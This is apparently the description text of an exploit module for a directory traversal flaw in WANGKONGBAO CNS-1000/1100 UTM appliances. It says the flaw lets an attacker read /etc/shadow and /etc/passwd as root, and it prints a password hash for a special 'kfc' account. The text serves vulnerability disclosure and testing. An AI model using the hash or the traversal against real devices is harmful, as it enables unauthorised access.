          This module exploits the WANGKONGBAO CNS-1000 and 1100 UTM appliances aka
        Network Security Platform. This directory traversal vulnerability is interesting
        because the apache server is running as root, this means we can grab anything we
        want! For instance, the /etc/shadow and /etc/passwd files for the special
        kfc:$1$SlSyHd1a$PFZomnVnzaaj3Ei2v1ByC0:15488:0:99999:7::: user
